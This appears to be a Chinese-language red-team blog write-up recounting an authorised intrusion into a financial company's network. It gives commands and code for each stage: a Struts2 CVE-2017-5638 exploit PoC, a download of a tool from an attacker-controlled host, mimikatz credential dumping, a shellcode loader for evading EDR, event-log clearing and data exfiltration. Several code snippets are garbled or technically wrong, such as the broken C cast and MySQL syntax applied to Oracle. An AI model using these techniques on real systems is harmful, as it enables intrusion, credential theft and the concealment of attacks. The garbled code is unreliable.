一、用一个案例开场:攻破某公司内网的渗透之旅
一天早晨,一家金融公司联系了我们,称其安全团队发现了一些异常的网络行为。他们想通过一次红队演练,了解自身安全系统的薄弱环节。授权书签署完毕后,我们红队的任务是模拟一个真实的攻击者,测试从外网到内网的攻防对抗。
目标公司采用了多层防护的传统企业架构:DMZ 放置 Web 应用,内网有 Active Directory (AD) 域环境,还有 EDR(终端检测与响应)系统在保护终端。任务是绕过这些防护,最终获取到公司财务服务器上的敏感数据。
接下来的内容,将复现我们当时的技术细节和攻击链:从外网信息收集到内网横向移动,再到最终的数据窃取。这仅供经过授权的测试和学习使用,切勿非法滥用。
---
二、数据猎手:外网信息收集的艺术
拿到目标域名后,第一步是收集尽可能多的信息。一个优秀的攻击者必然深谙情报的重要性,因为它决定了攻击的方向和效果。
1. 枚举子域名
目标公司的域名是 target-corp.com。我们需要枚举其子域,以确定潜在的攻击点:
<pre><code class="language-bash">subfinder -d target-corp.com -o subdomains.txt</code></pre>
接着对发现的子域名进行自动化存活检测:
<pre><code class="language-bash">httpx -l subdomains.txt -silent -o live_subdomains.txt</code></pre>
通过以上操作,我们发现了一个测试环境的子域:test.target-corp.com。通常,测试环境的配置较为宽松,这可能成为一个潜在突破点。
2. OSINT(开源情报收集)
使用工具 theHarvester 从搜索引擎和数据库里挖掘更深层次信息:
<pre><code class="language-bash">theHarvester -d target-corp.com -b google,bing,linkedin -f harvester_results</code></pre>
结果中,我们获取到了几名员工的邮箱地址,比如 [email protected] 和一些内部的 AWS S3 存储桶地址。
接下来,我们尝试通过 Have I Been Pwned 和其他密码泄露数据库,寻找这些邮箱是否关联过泄漏的密码,结果发现了 John 的一个弱密码:Company123!
---
三、突破第一道防线:外网渗透与 RCE 利用
1. 漏洞筛选
通过 Nmap 对测试环境的子域进行端口扫描,发现其开放了 80 和 443 端口。进一步解析页面后发现,这是一个基于 Java 的 Apache Struts2 应用,而我们已知老版本的 Struts2 存在命令执行漏洞(CVE-2017-5638)。
2. POC 编写
我们直接写一个 Python POC,利用此漏洞获取 Webshell:
<pre><code class="language-python">import requests
目标 URL
url = "http://test.target-corp.com"

构造恶意 payload
headers = { "Content-Type": "%{(#nike='multipart/form-data').(#dm='java.lang.Runtime').(#dm.getRuntime().exec('id'))}", }
发送请求
resp = requests.post(url, headers=headers)
打印结果
print(resp.text)</code></pre>
运行后成功返回了当前运行用户的权限信息,表明命令执行漏洞利用成功。
---

四、深挖内网:权限提升与横向移动
1. 权限提升
在目标服务器上查看系统信息后,发现是一个 Windows Server 2012 R2 系统。我们上传了一个常用的提权工具 Windows Exploit Suggester:
<pre><code class="language-powershell"># 上传并运行工具 Invoke-WebRequest -Uri "http://attacker-server.com/Windows-Exploit-Suggester.exe" -OutFile "C:\\temp\\exploit-suggester.exe" exploit-suggester.exe --update</code></pre>
工具提示系统存在一个未打补丁的本地提权漏洞(CVE-2019-1388)。我们通过 Metasploit 内置的提权模块直接利用它获取了 SYSTEM 权限。
2. 横向移动的经典套路

为了横向移动,我们通过 mimikatz 抓取内存中的凭证:
<pre><code class="language-powershell"># 使用 Mimikatz 抓取内存凭证 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"</code></pre>
得到了一些域用户的明文密码,其中包含一个拥有管理员权限的用户 jane.admin. 我们用这个账户的凭证登录到其他服务器,成功进入财务服务器。
---

五、隐身技巧:绕过 EDR 和痕迹清理
1. 绕过终端检测
目标公司部署了 CrowdStrike 的 EDR 系统。为了绕过它的检测,我们采用以下策略:
- 自写 Shellcode 加载器
- Sleep 模式伪装
以下是我们用 C 语言写的自定义 Shellcode 加载器代码:
<pre><code class="language-c">#include <windows.h>
// 插入你的 Shellcode unsigned char shellcode[] = { / .... / };
int main() { void exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void()())exec)(); return 0; }</code></pre>
编译时使用 Mingw-w64,并对生成的二进制文件进行混淆和加壳处理(如用 UPX)。
2. 清理痕迹
在目标服务器上完成数据窃取后,我们执行以下操作:
- 清理 Event Logs,删除访问记录:
- 删除上传的工具和脚本:
<pre><code class="language-powershell"> wevtutil cl Application wevtutil cl Security wevtutil cl System `
`powershell Remove-Item -Path C:\temp\* -Recurse `
---
六、目标达成:窃取关键数据
进入财务服务器后,我们发现了一个 Oracle 数据库,并通过管理员凭证访问到数据库表。我们运行以下 SQL 语句导出数据: </code></pre>sql SELECT * FROM financial_data_dump INTO OUTFILE 'C:\\temp\\data.csv'; `
完成导出后,使用 SMB 将文件传回攻击机。
---
七、经验总结:红队演练的启示
这次演练让我深刻体会到:
- 情报收集决定上限:前期 OSINT 的质量直接影响攻击链的完整性。
- 漏洞利用后要快速行动:公司很可能有应急响应,因此时间窗口非常宝贵。
- 对抗技术是重中之重:混淆、流量伪装和 Anti-EDR 技术是红队的核心技能。
合法声明: 本文仅供授权的网络安全研究和测试使用,未授权请勿尝试!